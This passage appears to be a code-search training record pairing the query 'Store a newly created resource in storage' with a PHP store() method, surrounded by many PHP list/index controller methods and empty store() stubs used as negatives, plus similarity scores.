$this->render('index', compact('list'));\n }", "public function action_index()\n\t{\n\t\t$this->template->title = 'Resources';\n\t\t$this->view = View::factory('admin/resource/index');\n\t\t$this->template->scripts[] = 'media/js/jquery.tablesorter.min.js';\n\t\t$this->template->scripts[] = 'media/js/admin/resource.js';\n\t\t\n\t\t$resources = Sprig::factory('resource')->load(NULL, FALSE);\n\t\tif (!empty($resources))\n\t\t{\n\t\t\t$this->view->resources = $resources->as_array();\n\t\t}\n\t}", "function listing()\n\t\t{\n\t\t// en $this->_view->_listado para poder acceder a el desde la vista.\n\t\t\t$this->_view->_listado = $listado = $this->_instrumentoModel->getInstrumento();\n\t\t\t$this->_view->render('listing', '', '',$this->_sidebar_menu);\n\t\t}", "public function listAction()\n {\n $em = $this->getDoctrine()->getManager();\n \n $todos = $em->getRepository(Todo::class)->findAll();\n \n return $this->render('todo/index.html.twig', array(\n 'todos' => $todos,\n ));\n }", "public function index()\n\t{\n $this->authorize('list', Instance::class);\n\n\t\treturn $this->ok($this->repo->paginate($this->request->all()));\n\t}", "public function actionRestList() {\n\t $this->doRestList();\n\t}", "public function listing()\n\t{\n\t\t$hospitalID = $this->request->getSession()->read(\"hospital_id\") ? $this->request->getSession()->read(\"hospital_id\") : \"\";\n\t\t\n\t\t$patientMonitored = 1;\n\t\t$patientActive = 1;\n\t\t\n\t\t//GET ALL PATIENTS\n\t\t$patientsData = $this->Patients->allPatients($hospitalID,$patientMonitored,$patientActive);\n\t\t//GET ALL PATIENTS\n\t\t\n\t\t//echo \"<pre>\"; print_r($patientsData);die;\n\t\t$this->set(compact(\"patientsData\"));\n\t}", "public function listAction()\n {\n $htmlpage = '<!DOCTYPE html>\n<html>\n <head>\n <meta charset=\"UTF-8\">\n <title>todos list!</title>\n </head>\n <body>\n <h1>todos list</h1>\n <p>Here are all your todos:</p>\n <ul>';\n \n $em = $this->getDoctrine()->getManager();\n $todos = $em->getRepository(Todo::class)->findAll();\n foreach($todos as $todo) {\n $htmlpage .= '<li>\n <a href=\"/todo/'.$todo->getid().'\">'.$todo->getTitle().'</a></li>';\n }\n $htmlpage .= '</ul>';\n\n $htmlpage .= '</body></html>';\n \n return new Response(\n $htmlpage,\n Response::HTTP_OK,\n array('content-type' => 'text/html')\n );\n }", "public function index()\n {\n // Get Persons\n $person = Person::paginate(10);\n\n //Return collection of person as a resource\n return PersonResource::collection($person);\n }", "public function listAction() {\n\t\t$this->view->title = $this->translator->translate(\"Invoice list\");\n\t\t$this->view->description = $this->translator->translate(\"Here you can see all the invoices.\");\n\t\t$this->view->buttons = array(array(\"url\" => \"/admin/invoices/new/\", \"label\" => $this->translator->translate('New'), \"params\" => array('css' => null)));\r\n\t\t$this->datagrid->setConfig ( Invoices::grid() )->datagrid ();\n\t}", "public function listAll()\n\t{\n\t\t$this->render(self::PATH_VIEWS . '/list', [\n\t\t\t'pages' => $this->pagesDb->findAll('id', 'DESC'),\n\t\t]);\n\t}", "public function list()\n {\n // récupérer les données : toutes les catégories enregistrées\n $productList = Product::findAll();\n\n $this->show('product/list', [\n 'productList' => $productList\n ]);\n }", "public function index()\n {\n // CRUD -> Retrieve --> List\n // BREAD -> Browse Read Edit Add Delete\n // return Item::all();\n return view('list_items',compact('items'));\n }", "public function index()\n {\n // Get manufacturers\n $manufacturers = Manufacturer::orderBy('created_at', 'desc')->paginate(15);\n\n // Return collection of manufacturers as a resource\n return ManufacturerResource::collection($manufacturers);\n }", "public function index()\n {\n return ArtistResource::collection(Artist::orderBy('created_at', 'desc')->get());\n }", "public function indexAction() {\n\t\t$page = intval($this->getInput('page'));\n\t\t$perpage = $this->perpage;\n\t\t\n\t\tlist(,$files) = Lock_Service_FileType::getAllFileType();\n\t\t$data = array();\n\t\tforeach ($files as $key=>$value) {\n\t\t\t$data[$key]['id'] = $value['id'];\n\t\t\t$data[$key]['title'] = $value['name'];\n\t\t}\n\t\tlist($total, $filetype) = Lock_Service_FileType::getList($page, $perpage);\n\t\t$this->assign('filetype', $filetype);\n\t\t$this->assign('pager', Common::getPages($total, $page, $perpage, $this->actions['listUrl'].'/?'));\n\t\t$this->assign('data', json_encode($data));\n\t}", "public function listAction()\n {\n $qb = $this->getRepository()->queryAll();\n\n $view = new ImportListView;\n $view->imports = $qb->getQuery()->execute();\n\n return $this->templating->renderResponse('InfiniteImportBundle:Import:list.html.twig', array(\n 'data' => $view\n ));\n }", "public function index()\n\t{\n\t\t//Return model all()\n\t\t$instances = $this->decorator->getListingModels();\n\n\t\treturn View::make($this->listingView, array(\n\t\t\t'instances' => $instances,\n\t\t\t'controller' => get_class($this), \n\t\t\t'modelName' => class_basename(get_class($this->decorator->getModel())),\n\t\t\t'columns' => $this->getColumnsForInstances($instances),\n\t\t\t'editable' => $this->editable\n\t\t));\n\t}", "public function index()\n {\n return InfografiResources::collection(\n Infografi::orderBy('date', 'desc')->get()\n );\n }", "public function listAction()\n\t {\n\t\t\t$this->_forward('index');\n \n\t\t}", "public function index()\n {\n $this->list_view();\n }", "public function index()\n {\n $this->list_view();\n }", "public function index()\n {\n $this->list_view();\n }", "public function listAction()\n {\n $defaults = array(\n 'page' => null,\n 'order' => null,\n 'limit' => null,\n 'offset' => null,\n 'filter' => array(),\n );\n $body = $this->getRequest()->getBody();\n $options = $body + $defaults;\n\n // Process the options\n if (is_string($options['order'])) {\n $options['order'] = array_map('trim', explode(',', $options['order']));\n }\n if (is_string($options['page'])) {\n $options['page'] = (int)$options['page'];\n }\n if (is_string($options['limit'])) {\n $options['limit'] = (int)$options['limit'];\n }\n if (is_string($options['offset'])) {\n $options['offset'] = (int)$options['offset'];\n }\n $filter = $options['filter'];\n unset($options['filter']);\n\n $options = array_filter($options);\n\n return $this->getBinding()->find($filter, $options);\n }", "public function index()\n {\n /* Check if logged in user is authorized to make this request */\n $this->authorizeAction();\n\n /* Get the resources from the model */\n $resources = $this->resourcesList($this->model);\n\n /* Sets the view */\n if (view()->exists(\"admin.{$this->name}.index\")) {\n $view = \"admin.{$this->name}.index\";\n } else {\n $view = 'admin.includes.actions.index';\n }\n\n /* Display a listing of the resources */\n return view($view)\n ->with('resources', $resources)\n ->with('module', $this->module);\n }", "public function index()\n\t{\n\t\t$data['lists'] = $this->mdl_student->get_all();\n\t\t$this->template->set('title', 'Student Hostel List');\n\t\t$this->template->load('template', 'contents', 'student_hostel/student_hostel_list', $data);\n\t}", "public function index()\n {\n $modules = Module::all();\n return Resource::collection($modules);\n }", "public function index()\n {\n // List all resources from user entity\n $users = User::all();\n\n return $this->showAll($users);\n }", "public function index()\n {\n // Get todos\n $todos = Todo::orderBy('created_at', 'desc')->paginate(3);\n\n // Return collection of articles as a resource\n return TodoResource::collection($todos);\n }", "public function index()\n {\n return Resources::collection(Checking::paginate());\n }", "public function index()\n {\n return CourseListResource::collection(\n Course::query()->withoutGlobalScope('publish')\n ->latest()->paginate()\n );\n }", "public function index()\n {\n $cars = Car::paginate(15);\n return CarResource::collection($cars);\n }", "public function index()\n {\n // Get articles\n $articles = Article::orderBy('created_at', 'desc')->paginate(5);\n\n // Return collection of articles as a resource\n return ArticleResource::collection($articles);\n }", "public function index()\n {\n $authors = Author::paginate(10);\n\n return AuthorResource::collection($authors);\n }", "public function index()\n {\n //Get Books\n $books = Book::paginate(10);\n \n if ($books) {\n return (BookResource::collection($books))->additional([\n 'status_code' => 200,\n 'status' => 'success',\n ]);\n } else {\n return (BookResource::collection([]))->additional([\n 'status_code' => 200,\n 'status' => 'success',\n ]);\n }\n return view('index')->with('data', $books);\n }", "public function view(){\n\t\t$this->buildListing();\n\t}", "public function index()\n {\n $books = Book::latest()\n ->paginate(20);\n\n return BookResource::collection($books);\n }", "public function index()\n {\n $listing = Listing::orderBy('id', 'desc')->paginate(10);\n return view('listings.index')->withListings($listing);\n }", "public function listAction()\n {\n $this->_getSession()->setFormData([]);\n\n $this->_title($this->__('Training Cms'))\n ->_title($this->__('Pages'));\n\n $this->loadLayout();\n\n $this->_setActiveMenu('training_cms');\n $this->_addBreadcrumb($this->__('Training Cms'), $this->__('Training Cms'));\n $this->_addBreadcrumb($this->__('Pages'), $this->__('Pages'));\n\n $this->renderLayout();\n }", "public function index()\n {\n $services = $this->serviceRepository->paginate();\n\n return ServiceResource::collection($services);\n }", "public function index()\n {\n $resources = ResourceManagement::paginate(5);\n $users = User::get();\n\n return view('resources-mgmt/index', ['resources' => $resources, 'users' => $users]);\n }", "public function index()\n {\n $catalogs = Catalog::where('status', '=', Catalog::PUBLICADO)\n ->orderBy('id', 'DESC')->get();\n \n $data = CatalogResource::collection($catalogs);\n\n return [\n 'items' => $data,\n 'mensaje' => ''\n ];\n }", "public function listAction(){\n // In a controller this can be:\n // $this->request->getQuery('page', 'int'); // GET\n $currentPage = $this->request->getPost('pageindex', 'int'); // POST\n $pageNum = ($currentPage == null) ? 1 : $currentPage;\n\n // The data set to paginate\n $message = new Notice();\n $results = $message->getMsg4Admin();\n\n // Create a Model paginator, show 10 rows by page starting from $currentPage\n $paginator = new PaginatorArray(\n array(\n \"data\" => $results,\n \"limit\" => 10,\n \"page\" => $pageNum\n )\n );\n\n // Get the paginated results\n $page = $paginator->getPaginate();\n\n return $this->response->setJsonContent($page);\n\n }", "public function list()\n {\n try {\n return $this->success($this->service->list());\n } catch (\\Exception $exception) {\n return $this->error($exception->getMessage());\n }\n }", "public function index()\n {\n return $this->sendResponse(CrisisResource::collection(Crisis::paginate(10)), 'Data fetched successfully');\n }", "public function index()\n\t{\n\t\t$%Alias = new %Model();\n\t\t$params = array();\n\t\t\n\t\t$Paginator = new Paginator( $%Alias->findSize( $params ), $this->getLimit(), $this->getPage() );\n\t\t$this->getView()->set( '%Aliass', $%Alias->findList( $params, 'Id desc', $this->getOffset(), $this->getLimit() ) );\n\t\t$this->getView()->set( 'Paginator', $Paginator );\n\t\treturn $this->getView()->render();\n\t}", "public function listAction() {}", "public function index()\n {\n\n return RecipeResource::collection(Recipe::all());\n }", "public function index()\n {\n $this->indexPage('list-product', 'List Product');\n }", "public function listAction()\n {\t\n\t\t$this->removeSession();\n\t\t$this->verifySessionRights();\n\t\t$this->setActivity(\"List view\");\n $em = $this->getDoctrine()->getManager();\n $oRepClient = $em->getRepository('BoAdminBundle:Client');\n\t\t$nb_tc = $oRepClient->getTotal();\n\t\t//get page\n\t\t$page = $this->get('session')->get('page');\n\t\tif($page==null){\n\t\t\t$page=1;\n\t\t\t$this->get('session')->set('page',1);\n\t\t}\n\t\t//get number line per page\n\t\t$nb_cpp = $em->getRepository('BoAdminBundle:Param')->getParam(\"display_list_page_number\",1);\n\t\t$nb_pages = ceil($nb_tc/$nb_cpp);\n\t\t$offset = $page>0?($page-1) * $nb_cpp:0;\n\t\t$clients = $em->getRepository('BoAdminBundle:Client')->findBy(array(),array('id' => 'desc'),$nb_cpp,$offset);\n $form = $this->createForm('Bo\\AdminBundle\\Form\\ClientType', new Client());\n return $this->render('client/index.html.twig', array(\n 'clients' => $clients,\n\t\t\t'page' => $page, // forward current page to view,\n\t\t\t'nb_pages' => $nb_pages, //total number page,\n 'form' => $form->createView(),\n\t\t\t'total'=>$nb_tc, // record number.\n\t\t\t'nb_cpp' => $nb_cpp,// line's number to display\n\t\t\t'pm'=>\"contracts\",\n\t\t\t'sm'=>\"client\",\n ));\n }", "public function index()\n {\n return AcResource::collection(Ac::latest()->paginate()); //\n }", "public function executeList()\n {\n $this->setTemplate('list');\n }", "public function indexAction()\n {\n $books = Book::getAll();\n\n View::renderTemplate('Books/index.html', [\n 'books' => $books\n ]);\n }", "function listing() {\r\n\r\n }", "public function listar() {\n $rs = $this->model->listar();\n\n echo $this->toJson($rs);\n }", "public function index()\n {\n return BookResource::collection(Book::orderby('id')->get());\n }", "public function doRestList()\n {\n $this->outputHelper( \n 'Records Retrieved Successfully', \n $this->getModel()->with($this->nestedRelations)->filter($this->restFilter)->orderBy($this->restSort)->limit($this->restLimit)->offset($this->restOffset)->findAll(),\n $this->getModel()->with($this->nestedRelations)->filter($this->restFilter)->count()\n );\n\t}", "public function index()\n {\n $client = Client::paginate();\n return ClientResource::collection($client);\n }", "public function index()\n {\n return TagResource::collection(\n Tag::orderBy('name', 'ASC')->paginate(request('per_page', 10))\n );\n }", "public function _index(){\n\t $this->_list();\n\t}", "public function index()\n\t{\n\t\t$data['lists'] = $this->gallery_mdl->get_all();\n\t\t$this->template->set('title', 'Gallery');\n\t\t$this->template->render('template', 'list', $data);\n\t}", "function drush_restapi_list() {\n\n $resources = restapi_get_resources();\n $last_module = NULL;\n $rows = [\n [dt('Module'), dt('Path'), dt('Class')],\n ];\n\n foreach($resources as $resource) {\n if ($last_module != $resource->getModule()) {\n $module = $last_module = $resource->getModule();\n }\n else {\n $module = '';\n }\n $rows[] = [$module, $resource->getPath(), $resource->getClass()];\n }\n\n drush_print_table($rows, TRUE);\n drush_log(dt('Displaying !count total resources', [\n '!count' => count($resources),\n ]), 'ok');\n\n}", "public function index()\n {\n $this->booklist();\n }", "public function index()\n {\n //\n $accounts = accounts::paginate(15);\n\n //return the collection of employees as a resource\n return accountResource::collection($accounts);\n\n\n }", "public function index()\n {\n $items = Item::all();\n return view('items::list_items',compact('items'));\n }", "public function index()\n {\n // Get houses\n $houses = House::orderBy('created_at', 'desc')->paginate(self::PAGINATE);\n \n // Return collection of houses\n \n return HouseResource::collection($houses);\n }", "public function index()\n {\n $products = Product::paginate(6);\n return ProductResource::collection($products);\n }", "public function index() {\n $this->template->allFoundItems = Found::showAll();\n $this->template->display( 'index.html.php' );\n }", "public function indexAction() {\n $this->_forward('list');\n }", "public function index()\n {\n $data = Productcategory::paginate(10);\n\t\treturn ProductcategoryResource::Collection($data);\n }", "public function index()\n {\n return SongResource::collection(\\App\\Song::orderBy('created_at', 'desc')->get());\n }", "public function ListView()\n\t{\n\t\t\n\t\t// Requer permissão de acesso\n\t\t$this->RequirePermission(Usuario::$P_ADMIN,\n\t\t\t\t'SecureExample.LoginForm',\n\t\t\t\t'Autentique-se para acessar esta página',\n\t\t\t\t'Você não possui permissão para acessar essa página ou sua sessão expirou');\n\t\t\n\t\t//$usuario = Controller::GetCurrentUser();\n\t\t//$this->Assign('usuario',$usuario);\n\t\t$this->Render();\n\t}", "public function index () {\n permiss ( 'role.list' );\n\n $data = $this->entity\n ->orderBy('created_at', 'desc')->get();\n\n return new ModelResource($data);\n }", "public function showResources()\n {\n $resources = Resource::get();\n return view('resources', compact('resources'));\n }", "public function index()\n {\n //get articless\n $articles = Article::paginate(15);\n\n //Return collection of article has a resource\n return ArticleResource::collection($articles);\n\n }", "public function actionList() {\n header(\"Content-type: application/json\");\n $verb = $_SERVER[\"REQUEST_METHOD\"];\n\n if ($verb === 'GET') {\n echo \"{\\\"data\\\":\" . CJSON::encode(Donneur::model()->findAll()) . \"}\";\n } else if ($verb == 'POST') {\n if (Donneur::model()->exists('id' === $_POST['id'])) {\n $this->actionListUpdate($_POST);\n } else {\n $this->actionListPost();\n }\n } else if ($verb == 'DELETE') {\n $this->actionListDelete();\n }\n }", "public function list()\n {\n return $this->http->request(HttpMethods::GET, $this->endpoint);\n }", "public function indexAction(){\n $data = array(\n 'collection' => $this->model->getCollection(),\n \n ); \t\n return $this->getView($data);\n }", "public function indexAction()\n {\n $em = $this->getDoctrine()->getManager();\n\n $entities = $em->getRepository('DiverPriceLisrBundle:Items')->findAll();\n\n return $this->render('DiverPriceLisrBundle:Items:index.html.twig', array(\n 'entities' => $entities,\n ));\n }", "public function actionIndex()\n {\n $dataProvider = new ActiveDataProvider([\n 'query' => Slaves::find(),\n ]);\n\n return $this->render('index', [\n 'dataProvider' => $dataProvider,\n ]);\n }", "public function listAction() {\n\t\t// Recogemos el repositorio\n\t\t$repository = $this->getDoctrine() ->getRepository('AppBundle:Product');\n\t\n\t\t// Recuperamos todos los productos.\n\t\t$products = $repository->findAll();\n\t\t// Pasamos a la plantilla el aray products\n\t\treturn $this->render('product/listActionProduct.html.twig', array( 'products' => $products));\n\t\n\t}", "public function listAction()\n\t {\n\t\t$model = $this->_getModel();\n\t\t$result = $model->getLayouts();\t\n\t\t$page = (int)($this->_request->getParam('page')); \n\t\tif(count($result) > 0)\n\t\t{ \n\t\t\tGlobals::doPaging($result, $page, $this->view);\n\t\t}\n\t\t\t\t\n\t\t$this->view->page = $page;\n\t }", "public function actionList()\n {\n // get model\n $model = new $this->_model('search');\n $model->unsetAttributes();\n\n // set filter\n if (isset($_GET[$this->_model])) {\n $model->attributes = $_GET[$this->_model];\n }\n $model->u_cms_album_id = $_GET['album'];\n\n // search\n $dataProvider = $model->search(Yii::app()->language);\n // sort\n $sort = $dataProvider->getSort();\n // route\n $sort->route = $this->id . '/list';\n\n // pagination parameters\n $pagination = $dataProvider->getPagination();\n $pagination->route = $this->id . '/list';\n $pagination->pageSize = UInterfaceSetting::model()->getSettings($this->id . ':' . $this->module->id, Yii::app()->user->id)->page_size;\n $pagination->itemCount = $dataProvider->totalItemCount;\n\n // datas\n $datas = $dataProvider->getData();\n\n // related datas\n $relatedDatas = $this->_loadRelatedData();\n\n // template\n $template = isset($_REQUEST['partial']) ? 'list/_table' : 'list/main';\n\n $jsonParams = array();\n if (Yii::app()->request->isAjaxRequest) {\n // filters\n $filtersDatas = array();\n if (isset($_GET[$this->_model])) {\n $filtersDatas[$this->_model] = $_GET[$this->_model];\n }\n if (isset($_GET[$sort->sortVar])) {\n $filtersDatas[$sort->sortVar] = $_GET[$sort->sortVar];\n }\n\n $jsonParams = array(\n 'filters' => http_build_query($filtersDatas)\n );\n }\n\n $this->dynamicRender(\n $template,\n array(\n 'dataView' => new $this->crudComponents['listDataView'](\n $datas, $relatedDatas, $model, $sort, $pagination, $this\n )\n ),\n $jsonParams\n );\n }", "public function index()\n {\n return view('listings.index')->with('listings', Listing::all());\n }", "public function get_index()\n\t{\n\t\t$pages = Page::recent_available()->paginate(30);\n\t\t$table = Cello\\Presenter\\Page::table($pages);\n\t\t$data = array(\n\t\t\t'eloquent' => $pages,\n\t\t\t'table' => $table,\n\t\t);\n\n\t\tSite::set('title', __('cello::title.pages.list'));\n\n\t\treturn View::make('cello::api.resources.index', $data);\n\t}", "public function index()\n {\n return ProductResource::collection(Product::latest()->paginate(10));\n }", "public function index()\n {\n $category = GalleryCategory::paginate(15);\n\n // return collection of category as a resource.\n return Resource::collection($category);\n }", "public function index()\n {\n //\n $news = News::latest()->paginate(18);\n\n return NewsResource::collection($news);\n }", "public function indexAction() {\n\t\t$list_info = Zend_Registry::get('list_info');\n if (!Engine_Api::_()->core()->hasSubject('list_listing')) {\n return $this->setNoRender();\n }\n \n $this->view->expiry_setting = Engine_Api::_()->list()->expirySettings();\n\n //GET SUBJECT\n $this->view->list = $list = Engine_Api::_()->core()->getSubject('list_listing');\n\n\t\t//GET CATEGORY TABLE\n\t\t$this->view->tableCategory = Engine_Api::_()->getDbTable('categories', 'list');\n\n //GET CATEGORIES NAME\n\t\t$this->view->category_name = $this->view->subcategory_name = $this->view->subsubcategory_name = '';\n\n\t\tif(!empty($list->category_id)) {\n\t\t\tif($this->view->tableCategory->getCategory($list->category_id))\n\t\t\t$this->view->category_name = $this->view->tableCategory->getCategory($list->category_id)->category_name;\n\n\t\t\tif(!empty($list->subcategory_id)) {\n\t\t\t\tif($this->view->tableCategory->getCategory($list->subcategory_id))\n\t\t\t\t$this->view->subcategory_name = $this->view->tableCategory->getCategory($list->subcategory_id)->category_name;\n\n\t\t\t\tif(!empty($list->subsubcategory_id)) {\n\t\t\t\t\tif($this->view->tableCategory->getCategory($list->subsubcategory_id))\n\t\t\t\t\t$this->view->subsubcategory_name = $this->view->tableCategory->getCategory($list->subsubcategory_id)->category_name;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n //GET LISTING TAGS\n $this->view->listTags = $list->tags()->getTagMaps();\n\n\t\t//GET OTHER DETAILS\n\t\t$this->view->list_description = Zend_Registry::get('list_descriptions');\n $this->view->addHelperPath(APPLICATION_PATH . '/application/modules/Fields/View/Helper', 'Fields_View_Helper');\n $this->view->fieldStructure = Engine_Api::_()->fields()->getFieldsStructurePartial($list);\n\t\tif(empty($list_info)){ return $this->setNoRender(); }\n }", "public function index()\n {\n return $this->service->fetchResources(Author::class, 'authors');\n }", "public function index()\n {\n return view('admin.resources.index');\n }", "public function doRestList() {\n\t\t$this->outputHelper ( 'Collections Retrieved Successfully', $this->getModel ()->with ( $this->nestedRelations )->filter ( $this->restFilter )->orderBy ( $this->restSort )->limit ( $this->restLimit )->offset ( $this->restOffset )->findAll (), $this->getModel ()->with ( $this->nestedRelations )->filter ( $this->restFilter )->count () );\n\t}" ]
[ "0.7446777", "0.736227", "0.73005503", "0.72478926", "0.71631265", "0.71489686", "0.7131636", "0.7105969", "0.71029514", "0.7101372", "0.70508176", "0.6995128", "0.69890636", "0.6934895", "0.6900203", "0.6899281", "0.6891734", "0.6887235", "0.68670005", "0.6849741", "0.6830523", "0.6802689", "0.6797", "0.67957735", "0.67871135", "0.6760129", "0.67427456", "0.6730486", "0.67272323", "0.67255723", "0.67255723", "0.67255723", "0.67177945", "0.6707866", "0.6706713", "0.6704375", "0.6664782", "0.6662871", "0.6660302", "0.6659404", "0.6656656", "0.6653517", "0.6647965", "0.6620322", "0.66185474", "0.6618499", "0.6606105", "0.6600617", "0.65996987", "0.6594775", "0.6587389", "0.6585109", "0.6581641", "0.6581017", "0.6577157", "0.65747666", "0.6572513", "0.65721947", "0.6570553", "0.65646994", "0.6563556", "0.6554194", "0.65529937", "0.65460825", "0.65368485", "0.653429", "0.65328294", "0.6526759", "0.6526695", "0.6526284", "0.65191334", "0.65183175", "0.65174305", "0.651703", "0.65141153", "0.6507088", "0.65061647", "0.6504046", "0.64942145", "0.6491893", "0.64883405", "0.6486392", "0.6485077", "0.64846045", "0.6478858", "0.64756656", "0.64726377", "0.6471126", "0.64701074", "0.6467418", "0.6462195", "0.64618355", "0.6459199", "0.6457831", "0.6454631", "0.64533997", "0.6451915", "0.6450861", "0.6449301", "0.64492667", "0.64469045" ]
0.0
-1
Store a newly created resource in storage.
public function store(Request $request) { $data = $request->input('data'); if(count($data)) { CategoryWiseSpecification::where('category_id',$data[0]['category_id'])->delete(); } CategoryWiseSpecification::insert($request->input('data')); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function store($data, Resource $resource);", "public function store()\n {\n /* Check if logged in user is authorized to make this request */\n $this->authorizeAction();\n\n if (method_exists($this, 'storeValidations')) {\n $this->request->validate($this->storeValidations());\n }\n\n /* Create a new resource */\n $resource = $this->model::create(Input::all());\n\n /* Redirect to newly created resource page */\n return redirect()\n ->route($this->name . '.edit', $resource->id)\n ->with(\n 'success',\n Lang::has($this->name . '.resource-created') ?\n $this->name . '.resource-created' :\n 'messages.alert.resource-created'\n );\n }", "public function store(CreateStorageRequest $request)\n {\n $this->storage->create($request->all());\n\n return redirect()->route('admin.product.storage.index')\n ->withSuccess(trans('core::core.messages.resource created', ['name' => trans('product::storages.title.storages')]));\n }", "public function createStorage();", "public function store(StoreStorage $request)\n {\n $storage = Storage::create($request->all());\n $request->session()->flash('alert-success', 'Запись успешно добавлена!');\n return redirect()->route('storage.index');\n }", "public function saveShopifyResource() {\n if (is_null($this->getShopifyId())) { // if there is no id...\n $this->createShopifyResource(); // create a new resource\n } else { // if there is an id...\n $this->updateShopifyResource(); // update the resource\n }\n }", "public function store(Request $request, NebulaResource $resource): RedirectResponse\n {\n $this->authorize('create', $resource->model());\n\n $validated = $request->validate($resource->rules(\n $resource->createFields()\n ));\n\n $resource->storeQuery($resource->model(), $validated);\n\n $this->toast(__(':Resource created', [\n 'resource' => $resource->singularName(),\n ]));\n\n return redirect()->back();\n }", "function storeAndNew() {\n $this->store();\n }", "public function store(Request $request)\n {\n $currentUser = JWTAuth::parseToken()->authenticate();\n $validator = Validator::make($request->all(), [\n 'content' => 'required|string',\n 'image_link' => 'sometimes|url',\n ]);\n\n if ($validator->fails()) {\n return APIHandler::response(0, $validator->errors(), [], 400);\n }\n\n $resource = new Resource;\n $resource->user_id = $currentUser['id'];\n $resource->title = $request->get('title');\n $resource->content = $request->get('content');\n $resource->image_link = $request->get('imageLink');\n $resource->video_link = $request->get('videoLink');\n $resource->file_link = $request->get('fileLink');\n $resource->audio_link = $request->get('audioLink');\n $resource->tags = collect($request->get('tags'))->implode('text', ',');\n $resource->is_public = 0;\n $resource->save();\n $data['resource'] = $resource;\n\n if ($request->get('programId')) {\n $this->addToProgram($resource, $request->programId);\n // event(new NewLearningPathResourcePublished($resource, $invitee));\n }\n\n User::find($currentUser['id'])->increment('points', 2);\n\n return APIHandler::response(1, \"New resource has been created\", $data, 201);\n }", "public function store()\n {\n if (!$this->id) { // Insert\n $this->insertObject();\n } else { // Update\n $this->updateObject();\n }\n }", "public function store()\n\t{\n\t\t\n\t\t//\n\t}", "public function store()\r\n\t{\r\n\t\t//\r\n\t}", "public function store()\r\n\t{\r\n\t\t//\r\n\t}", "public function store()\r\n\t{\r\n\t\t//\r\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}" ]
